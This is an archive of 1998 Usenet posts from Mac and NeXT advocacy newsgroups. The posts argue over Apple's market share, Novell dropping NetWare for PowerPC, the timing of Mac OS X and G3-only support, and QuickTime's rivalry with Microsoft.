> > be specific?
>
> More specific, you ask? Not a problem.
>
> You weren't at Novell when Novell dropped the PPC product.
>
> You weren't on the development team at Novell that created the product.
>
> You weren't on the QA team who tested the product.
>
> You weren't on the management team at Novell that made the decision to
> kill the project.
>
> You don't even know any of the people at Novell who worked on the project.
>
> What you DO know is suspect.
>
> So you don't know what you are talking about.
Wait a second. The people who made the allegation that Apple caused Novell
to drop Netware for NT haven't provided any evidence. They're the one
making a silly allegation and need to provide proof.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 25 Jul 1998 19:28:36 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2507981928370001@elk82.dol.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <35B7ABED.1AFBFB66@ericsson.com> <jpolaski-2407980852040001@d151-33.ce.mediaone.net> <35B892EE.D87B3ED9@nstar.net> <gmgraves-2407981156090001@sf-usr1-51-179.dialup.slip.net> <joe.ragosta-2407982240030001@elk55.dol.net> <Macghod-2507980005020001@sdn-ar-001casbarp150.dialsprint.net> <joe.ragosta-2507980657360001@elk43.dol.net> <gmgraves-2507981429090001@sf-usr1-25-153.dialup.slip.net>
In article <gmgraves-2507981429090001@sf-usr1-25-153.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
>
> To hell with the company. Its the platform that's important, Apple is only
> important because they are the sole source.
I've got news for you. If Apple, the company, doesn't survice, then
Macintosh, the platform, won't either.
>
> Apple is still NOT FIXING the Mac's major problem: Its not growing the Mac
> market (ironically, the same thing that Jobs accused the cloners of not
> doing).
You're not paying attention.
Retail--7% last November, 8% in March, 9% in May, 9.5% in June. Seems like
it's growing.
Education--32% in the first quarter, 38% in the second. Yep, that's upward.
Overall--3.5% late last year, 4% this spring.
Apple _has_ turned the corner by all available evidence. And the iMac
looks like it's going to do a great deal to really improve things. A _lot_
of PC users (especially younge ones) look like they may buy an iMac.
Just what would it take for you to finally admit that Apple did something
right---a 40% overall market share?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 27 Jul 1998 04:15:44 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6pgutg$fie@news1.panix.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <35B8DF8B.FD82305D@ericsson.com> <joe.ragosta-2407981630080001@wil51.dol.net> <35B8F538.88F9A190@ericsson.com> <6pe64i$g57@news1.panix.com> <35BAB09C.F8830004@nstar.net> <6pg1av$5vr@news1.panix.com> <35BB8E53.DC3C13C4@nstar.net>
On Sun, 26 Jul 1998 15:15:15 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>> You missed my point. The moderate success of the cloners dosn't change the
>> fact that Apple had a hard time getting cloners in the first place. They
>> heavily subsidized PowerComputing in the early days.
>An isolated example, and a short-lived one.
Not true. Apple had to lobby Motorola and IBM to license MacOS. They
had _no_ plans to use MacOS on thier machines.
>Gateway 2000 reportedly
>approached Apple on several occasions to gain a MacOS clone license and
>was rebuffed every time.
Pure rumor.
[more reckless speculation clipped]
>There have been unconfirmed rumors from every quarter that many
>companies approached Apple seeking licenses and that Apple turned away
>every comer.
Any proof on this? Any why would Apple sign on _any_ cloner if it
didn't make sense to do so? Did you see the cloner's business plans?
Umax and Motorola both had the ability to sign on others to build Mac
clones, why didn't these cloners turn to Umax and Motorola?
[More speculation removed]
>> And how is the failure of IBM to build WorkPlaceOS the fault of Apple?
>What? Why are you changing the subject?
I'm not changing the subject, you are avoiding the question. If Apple is
the sole cause of the PPC open market failing, then how is this Apple's
fault?
And don't just post another CHRP tirade, answer the question.
>> And how is the failure of Moto to build a network of VARs for PPC servers
>> running NT or AIX the fault of Apple?
>Why are you changing the subject?
I am not, you are. You keep bringing in all kinds of gonzo speculation
and unconfirmed rumors. How did Apple keep Moto from building NT servers?
And don't just post another CHRP tirade, answer the question.
>> What do you think the g3 and iMac machines run? I've heard reports that IBMs
>> CHRP system qualifier program runs on g3s and reports it as CHRP without PS/2
>> ports or LPT support.
>What's the value in that?
It shows that Apple is using CHRP. They even admit to it.
>> If
>> IBM or Moto sold a large number of CHRP based NT boxes, MS would be
>> supporting them. They didn't. It had nothing to do with Apple.
Well I am waiting. How is the failing of NT on PPC the fault of Apple?
Date: Sat, 25 Jul 1998 19:50:16 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-2507981950160001@elk82.dol.net>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <1dco1vu.1tcsxcs13uk71oN@hoorn23.multiweb.net> <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu> <6pb7pl$9gv$1@plo.sierra.com> <35B984CF.936A1763@nstar.net> <Macghod-2507980722450001@sdn-ar-001casbarp002.dialsprint.net> <35B9F4D5.69EABE8A@nstar.net> <6pd4ik$9h1$1@bunyip.cc.uq.edu.au>
In article <6pd4ik$9h1$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> Michael Peck <mjpeck@nstar.net> wrote in message
> 35B9F4D5.69EABE8A@nstar.net...
> >Steve Sullivan wrote:
> >
> >> > Ctrl-Z.
> >>
> >> Close but no cigar. Try two keys over.
> >
> >Ah, quite right. Been using Windows for too long.
>
> So Ctrl+C is undo a file rename ? Why on Earth isn't it Ctrl+Z ?
I think you went two keys over from the wrong key. IIRC, it's command-Z.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: PII 46% faster than G3 according to industry standard benchmarks
Date: 27 Jul 1998 04:15:47 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6pgutj$fie@news1.panix.com>
References: <35ba8474.0@news1.ibm.net> <35bcaf22.4151551@news.newsguy.com> <35BB6D7C.D0A9AC94@bellsouth.net> <Macghod-2607981534460001@sdn-ar-001casbarp113.dialsprint.net>
On Sun, 26 Jul 1998 15:34:46 -0700,
Steve Sullivan <Macghod@concentric.net> wrote:
>APple's own engineers showed that bytemark is many many many times more
>inaccurate than spec.
Steve, didn't I send you links to the Dr. Dobbs articles on benchmarking?
Bottom line: Don't go by any *one* benchmark.
Stop harping on Bytemarks! We don't care anymore! :)
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 25 Jul 1998 11:33:54 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-2507981133550001@ip-26-037.phx.primenet.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <see-below-2407980002030001@dynamic18.pm10.mv.best.com> <not-2407981144330001@ip-26-164.phx.primenet.com> <gmgraves-2407981753310001@sf-usr1-29-157.dialup.slip.net>
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <gmgraves-2407981753310001@sf-usr1-29-157.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> This is bullshit. They said that about RHAPSODY, but not about OS-X. OS-X will
> be the next mainstream Mac OS (if they don't change their mind in the
meantime).
> OS-8.5 and Sonata are going to be simply stop-gap arrangements to
support older
> machines until those owners upgrade to G3 or G4 based machines.
OS X won't be a mainstream OS until 2000, perhaps 2001. By then G3 and G4
systems will be *very* compelling upgrades--I'm willing to be 5 or more
times as fast as current G3s and 604es.
> To support other than G3 and G4 PowerMacs. If they didn't, there would be an
> armed insurrection (not that there isn't almost one now.).
There would be no armed insurrection. Those who want OS X will upgrade,
those who don't won't. There are more Windows 3.1 users in many parts of
the world than 95 users; 3.1 is an unsupported OS. Do you really think
Apple will make Sonata an unsupported OS?
> Why would they spend all that money to make two OSs if one would
> > do the job for both?
>
> To keep owners of recent 603E and 604E from going ballistic, maybe?
What is all this about "recent"--OS X is over a year away, maybe more.
When it comes out, those 604e and 603e machines will be just that much
older.
> Because they have different target markets, as you
> > yourself pointed out: Casual users get Sonata, power users (who upgrade
> > their hardware often--such is the definition of a power user) get OS X.
>
> No, down the road, there will be one OS, OS-X. OSX is MacOS.
Down the road will be three years from now, not tomorrow. Do realize how
old those 604e and 603e machines will be in computer years by that time?
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 25 Jul 1998 19:04:21 GMT
Organization: Primenet (602)416-7000
Message-ID: <6pda7l$m5p$2@nnrp02.primenet.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <35B8F293.F58D0926@ericsson.com> <6pbia6$mbj@newsb.netnews.att.com> <6pc1sr$jr3@bgtnsc02.worldnet.att.net>
<joe.ragosta-2507980701040001@elk43.dol.net> <6pcm1m$au$2@nnrp03.primenet.com> <joe.ragosta-2507981258460001@elk41.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
: In article <6pcm1m$au$2@nnrp03.primenet.com>, John Jensen
: <jjens@primenet.com> wrote:
: > Sorry, Be is out making money on an open platform.
: Actually, Be isn't making money at all, yet.
Does "making money" mean in the black? I'm not sure. But Be is certainly
making sales on x86. They have my money, and I regard it as well spent.
I'm sure they are still operating on venture funding, after all, they
haven't gone 1.0 yet.
John
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 25 Jul 1998 15:04:58 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-2507981504590001@ip-26-147.phx.primenet.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com> <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz> <not-2407981312520001@ip-26-162.phx.primenet.com> <mcox-ya02408000R2507981113400001@newsource.ihug.co.nz> <35b9372a.0@news.depaul.edu> <Josh.McKee-2507981112520001@pm3a7.rmac.net> <35ba359f.0@news.depaul.edu>
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <35ba359f.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> Sure it does. The main market for OS X is business, and professional
> users, particularly Apple's important customer base in graphics, design,
> and web development. These are the people most likely to be looking
> at NT. The longer Apple takes to ship OS/X, the more likely these
> people are to move to NT.
Exactly. Many of the people doing the Apple-bashing on this thread cite NT
as the primary jumping-off point for Mac power users and contend that OS X
for G3/G4 only will "drive" people to that platform. Actually, OS X is the
only think that will *keep* those power users on the Mac platform!
> It's not a financial deadline. It's not that Apple needs to sell
> umpteen million units of OS/X to be profitable.
Apple makes its money off Hardware, not software.... That has been true
since day one.
> Time is the most important thing here. Apple's been promising a
> better OS for years, and they have to deliver. The core OS/X market
> isn't going to complain about having to buy G3's.
This is what I believe also. Those who really need OS X's features will
make the plunge to G3/G4 gladly. Those who stick with the Mac becuase of
its GUI and their current level of software and investment will get 8.5,
8.6 and 9.0, which will be quite amazing releases with real, quantifiable
improvments in all areas of the OS. The latest beta of 8.5 is nothing
short of earth-shattering--I'm not joking. Stable, fast, and it has
features in the GUI which make NT seem unusably primitive in comparison.
And it is fast, fast, fast. And very stable.
> What they don't
> want to do is wait any longer. Rhapsody (or OS/X Server) and
> the Blue Box may tide some over, but not all of them.
Even if OS X comes oun on shedule, the OS X Carbon versions of all the
major apps will still lag behind its release. It will probably be a good
two years from now before people are using Carbon-compliant versions of
Photoshop, Quark, and Illustrator.
> Furthermore, much of the industry is skeptical of Apple's ability
> to execute properly. If Apple puts of shipping OS/X, their credibility
> goes down the tube completely. If they ship OS/X on time, they
> gain credibility.
Well, to be fair, Apple *did* announce the ship date themselves... they
*could* have given themselves another 6 months, just to be safe.
>The lack of support for pre-G3 Macs won't impact
> their credibility, since they gave plenty of warning. It won't
> be a surprise, and people will have had a year to consider their
> options, save for a new Mac, whatever.
Exactly. So many of the people on this thread behave like the mere
*announcement* of Mac OS X has made their current, right-now machine
totally useless and obsolete. By the time OS X hits the streets, Apple's
(and the entire industry's) hardware picture will most likely be radically
different, as will the changeable market. Who knows? Perhaps all the
standards that current 604e users are clinging to will be utterly dead
meat in just a year--AGP graphics cards, USB periphirals and FireWire
drives may be all there are to buy 1 1/2 years from now. That will make
the PCI/ADB/SCSI crowd look pretty dated, no?
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Quicktime, Microsoft, Rhaptel
Date: 25 Jul 1998 17:48:14 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pd5ou$p7t@newsb.netnews.att.com>
Originator: gupta@tlctest
It is alleged that Microsoft asked Apple, on three occasions,
to abandon the consumer Windows multi-media market (i.e., Quicktime
for Windows) in return for "endorsement of Apple's software tools"
(whatever that means).
Apple declined. But I wonder if Rhapsody on Intel is an example of
Apple finding it convenient (or necessary) to succumb to the pressure.
***
Regarding Quicktime : it is essentially free. Microsoft has an
advantage in that it can bundle its stuff with Windows, while
Quicktime will require a download or an application that comes
with Quicktime. Still, displacing Quicktime may be a little more
difficult than displacing Netscape's web browser. It will be
interesting to see how things play out.
***
Fast home network connections will work in favor of Microsoft's
competitors, because it will greatly reduce the cost of getting
their stuff (e.g. 6-8 MB of Quicktime) to the Windows machine,
especially if Microsoft refuses to bundle it or allow bundles with
it.
***
My prediction is that Quicktime may break, badly, in an upcoming
Windows release.
-arun gupta
Message-ID: <35BA563C.929FAEEF@bellsouth.net>
From: Harrison Murchison <murchy@bellsouth.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Quicktime, Microsoft, Rhaptel
References: <6pd5ou$p7t@newsb.netnews.att.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Sat, 25 Jul 1998 18:59:35 GMT
NNTP-Posting-Date: Sat, 25 Jul 1998 14:59:35 EST
Too me there's no doubt....when you get in bed with Microsloth YOU are the
one leaving screwed. Apple(Jobs) should know this. The DOJ just doesn't
have the balls to do anything meaningful about it.
I too agree that quicktime will fall victim to MS's error messages
with much regularity in the future however it's imperative that Apple
remain committed and focused. Quicktime is much better than anything MS
will concoct in the forseeable future.
gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> It is alleged that Microsoft asked Apple, on three occasions,
> to abandon the consumer Windows multi-media market (i.e., Quicktime
> for Windows) in return for "endorsement of Apple's software tools"
> (whatever that means).
>
> Apple declined. But I wonder if Rhapsody on Intel is an example of
> Apple finding it convenient (or necessary) to succumb to the pressure.
>
> ***
> Regarding Quicktime : it is essentially free. Microsoft has an
> advantage in that it can bundle its stuff with Windows, while
> Quicktime will require a download or an application that comes
> with Quicktime. Still, displacing Quicktime may be a little more
> difficult than displacing Netscape's web browser. It will be
> interesting to see how things play out.
> ***
> Fast home network connections will work in favor of Microsoft's
> competitors, because it will greatly reduce the cost of getting
> their stuff (e.g. 6-8 MB of Quicktime) to the Windows machine,
> especially if Microsoft refuses to bundle it or allow bundles with
> it.
> ***
> My prediction is that Quicktime may break, badly, in an upcoming
> Windows release.
>
> -arun gupta
Date: Sat, 25 Jul 1998 19:56:29 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-2507981956290001@elk82.dol.net>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com>
In article <6p9acg$o8n$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <Josh.McKee-2307981810170001@pm3a8.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > You see, Windows 95 has all the buzzwords, but the implementation of them
> > nullifies the results.
>
> It reduces the results. It is still better than the MacOS.
In what way? Please be specific with unbiased evidence to back up your claim.
Oh, you don't have any evidence? I didn't think so.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 25 Jul 1998 20:00:07 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-2507982000070001@elk82.dol.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <MPG.102417abebbe2be9989a03@news.supernews.com>
In article <MPG.102417abebbe2be9989a03@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <Josh.McKee-2507980855240001@pm3a23.rmac.net>,
> Josh.McKee@cbns.com says...
> > > How can something be about as good when it is inferior in many
respects and
> > > superior in none?
> >
> >
> > OK...name a situation where the Macs multitasking is worse than Windows 95.
> >
> Open App. Select "Open..." from the File menu. Try to switch back to
> Finder or equivalent to search for the file (without cancelling).
Currently a problem, but not for long.
>
> Start floppy formatting in Finder or equivalent. Try to switch to an
> app.
No problem. Works fine on my machine.
>
> Start the Finder or equivalent copying files off of a network volume.
> Switch to Word and start typing. Pull out Ethernet connection.
No problem (well, the network copy stops, but that's to be expected). Word
still works.
>
> Are these life-changing problems? Of course not. But they are there.
>
> Donald
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Quicktime, Microsoft, Rhaptel
Date: Sat, 25 Jul 1998 16:54:38 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2507981654390001@dialin9087.slip.uci.edu>
References: <6pd5ou$p7t@newsb.netnews.att.com> <35BA563C.929FAEEF@bellsouth.net>
In article <35BA563C.929FAEEF@bellsouth.net>, murchy@bellsouth.net wrote:
> Quicktime is much better than anything MS
> will concoct in the forseeable future.
True. But Apple better do something to get RealNetworks codecs in there -
for both Apple's and RealNetwork's sake...
-Bob Cassidy
From: "Jim Coffey" <jlc@bocus.uchicago.org>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 25 Jul 1998 23:11:31 -0400
Organization: Ivory Tower,Inc
Message-ID: <6pe6np$7tj@bgtnsc02.worldnet.att.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6pc1sr$jr3@bgtnsc02.worldnet.att.net> <joe.ragosta-2507980701040001@elk43.dol.net> <6pd3b6$a2i@bgtnsc02.worldnet.att.net> <6pdkkj$q0s@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote in message
<6pdkkj$q0s@newsb.netnews.att.com>...
>Jim Coffey <jlc@bocus.uchicago.org> wrote:
>>
>>
>>Then what about the companies that whine about MS use of undocumented OS
>>features?
>>
>>They can, after all, reverse engineer MS' programs as well.
>
>It is very different to look at source code, as in Linux, and to
>reverse-engineer compiled code (as in MS programs). MS does not give
>access to source code.
>
And neither, apparently, does Apple. SO if Be were to use Linux source,
they still can't be sure Apple won't change the Mac's Roms resulting in BeOS
not running. The point being, of course, that Apple is trying to stifle
competition.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 25 Jul 1998 22:14:07 -0500
Organization: Prairie Group
Message-ID: <MPG.10245af9908ed6af989a05@news.supernews.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <6pbko2$jvn$1@news.xmission.com> <MPG.10239959b4d252439899f6@news.supernews.com> <6pd4it$a9d$2@news.xmission.com>
In article <6pd4it$a9d$2@news.xmission.com>, kris@xmission.xmission.com
says...
> In comp.sys.next.advocacy Donald Brown <don.brown@cesoft.com> wrote:
> > In article <6pbko2$jvn$1@news.xmission.com>, kris@xmission.xmission.com
> > says...
> > > In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
> > >
> > > > Novell dropped Netware for PPC.
> > > > APPLE HAD NOTHING TO DO WITH [Novell dropping the PPC arch.]
> > >
> > > You don't know what you are talking about.
>
> > Then enlighten us. What did Apple have to do with Novell dropping
> > support for Netware for PPC?
>
> Can't. I don't speak for Novell, can't tell you anything about it other
> than Joe is dead-on wrong.
I'm sorry, you're losing me here. You say you don't know anything about
it either, but Joe is dead-on wrong.
I'm willing to accept the theoretical possibility that Apple may have had
something to do with dropping the PPC architecture. I don't see how, but
I'm willing to listen to an explanation. Without any such explanation,
I'm unconvinced.
So, what am I missing?
Donald
From: invid@localnet.com (Invid fan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 25 Jul 1998 22:40:58 -0400
Organization: http://extra.newsguy.com
Message-ID: <invid-ya02408000R2507982240580001@enews.newsguy.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <6pbko2$jvn$1@news.xmission.com> <joe.ragosta-2507980655350001@elk43.dol.net> <6pd4gp$a9d$1@news.xmission.com> <joe.ragosta-2507981921450001@elk82.dol.net> <6pdtb7$kif$1@news.xmission.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <6pdtb7$kif$1@news.xmission.com>, Kristofer Jon Magnusson
<kris@xmission.xmission.com> wrote:
> In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> > Wait a second. The people who made the allegation that Apple caused Novell
> > to drop Netware for NT haven't provided any evidence. They're the one
> > making a silly allegation and need to provide proof.
>
> Wait a second. The people who made the allegation that Novell dropped
> NetWare for PPC out of the clear blue sky, without any influence
> whatsoever from Apple, haven't provided any evidence. They're the ones
> making a silly allegation and need to provide proof.
>
> In other words, you still don't know what you are talking about. And if
> you did the least bit of primary research into the situation that led up
> to Novell dropping their PPC product *after* spending millions of dollars
> and hundreds of thousands of man-hours to develop it, maybe you would.
>
> But you are not interested in finding out what the facts are, you are
> interested in fortifying the castle in your head.
>
He's asking you to provide those facts, as you seem to know something he
dosen't. Without those facts, there's no reason to believe you.
--
Chris Mack 'With a price on his head, the Carrot becomes a
'Invid Fan' desperado, aided only by a small band of adventuresome
coeds whose unquestioning loyalty has been won through
his romantic prowess in more peaceful times!'
"Like all guerrilla fighters...their clothes get torn...SEE?!!"
-Flaming Carrot
invid@localnet.com
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 25 Jul 1998 22:26:09 -0500
Organization: Prairie Group
Message-ID: <MPG.10245dd0ac5433b4989a06@news.supernews.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com> <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz> <not-2407981312520001@ip-26-162.phx.primenet.com> <mcox-ya02408000R2507981113400001@newsource.ihug.co.nz> <35b9372a.0@news.depaul.edu> <Josh.McKee-2507981112520001@pm3a7.rmac.net>
In article <Josh.McKee-2507981112520001@pm3a7.rmac.net>,
Josh.McKee@cbns.com says...
> > That's not a marketing deadline. That's a survival deadline. If Apple
> > doesn't ship it, they're dead. Period. No waffling is allowed.
>
>
> Why is it a survival deadline?
>
After an embarrassing collection of missed deadlines, blown projects,
etc., Apple finally is looking like, and more important is viewed as, a
company with its act together. As part of this resurgent image, is a
great new OS.
If Apple blows this chance, I'm not sure they've got another one. They
may be able to pull back, I wasn't sure they could come back from their
last low point, but now the world is watching. If Apple doesn't ship OS
X with really high quality with no more than a fiscal quarter slippage,
they're in trouble.
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 25 Jul 1998 22:29:23 -0500
Organization: Prairie Group
Message-ID: <MPG.10245e8df5aa160a989a07@news.supernews.com>
